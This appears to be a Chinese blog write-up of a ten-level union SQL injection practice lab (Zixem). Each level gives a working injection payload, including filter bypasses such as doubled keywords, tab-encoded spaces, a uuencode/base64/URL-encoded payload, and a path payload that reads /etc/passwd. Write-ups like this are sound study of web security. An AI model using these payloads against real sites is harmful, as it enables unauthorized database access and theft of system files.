抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Level 1

upload successful
简单的一关,常规的联合查询注入(数字型)。

?id=1 and 1=2 union select 1,concat(user(),version),3--+

Level 2

upload successful
同Level 1简单,字符型注入,闭合单引号即可。

?showprofile=4' and 1=2 union select 1,user(),version(),4--+

Level 3

upload successful
常规字符型注入,使用--+闭合单引号号即可,
在使用union进行注入时,union会变成uni,此时需要使用unionon

?item=3' and 1=2 unionon select 1,user(),version(),4--+

Level 4

upload successful
同Level 3,字符型注入,闭合单引号,注入语句无法使用-使其报错,可使用and 1=2

?ebookid=7' and 1=2 union select 1,2,user(),version(),5--+

Level 5

需要爆破,待…

Level 6

upload successful

 and 1=2 union select (select id from teachers limit 1,1),(select teacher from teachers limit 1,1),(select teacher_age from teachers limit 1,1),(select price from teachers limit 1,1)--

Level 7

upload successful
这一关有点意思,注入好久没发现问题在哪,网上搜索后发现数据提交之后页面源代码中有个隐藏的value

upload successful
图中value的值就是注入点,后面都是常规注入操作

?id=1 AND 1=2 UNION SELECT 1,user(),3--+

Level 8

upload successful
这一关会对%20进行过滤(初步判断)以及会对select进行检测,双写可绕过,数字型注入,可使用%09、%0d进行绕过,后面就是常规的注入操作。

?id=1%09and%091=2%09union%09seselectlect%09user(),version(),3--%09-

Level 9

upload successful
这一关需要读取/etc/passwd文件,经测试知道load_file()被禁止。不过在插入SQL注入语句(字符型注入)时会报以下错误:

upload successful
根据报错提示可以在1处进行读取

?id=1' and 1=2 union select '../etc/passwd',2-- -

Level 10

upload successful
这一关x为注入点,但是参数是经过编码的,刚开始以为是base64 encode + url encode,解码后发现并没有那么简单,经过看别人的blog后了解到是uuencode,解码后参数显示为1。将SQL注入语句经过编码后可正常执行。

upload successful
将SQL注入语句编码后即可

1
2
3
4
5
6
7
8
9
10
11
12
1 and 1=2 union select 1,concat(user(),version())-- -

经过uuencode加密后得到
M,2!A;F0@,3TR('5N:6]N('-E;&5C="`Q+&-O;F-A="AU<V5R*"DL=F5R<VEO
(;B@I*2TM("T`
`

再使用base64进行编码得到
TSwyIUE7RjBALDNUUignNU46Nl1OKCctRTsmNUM9ImBRKyYtTztGLUE9IkFVPFY1UioiREw9RjVSPFZFTwooO0JASSoyVE0oIlRgCmA=

最后使用url编码得到最终payload
TSwyIUE7RjBALDNUUignNU46Nl1OKCctRTsmNUM9ImBRKyYtTztGLUE9IkFVPFY1UioiREw9RjVSPFZFTwooO0JASSoyVE0oIlRgCmA%3D

upload successful
done

参考链接 https://medium.com/ctf-writeups/union-sqli-challenges-zixem-write-up-4e74ad4e88b4

评论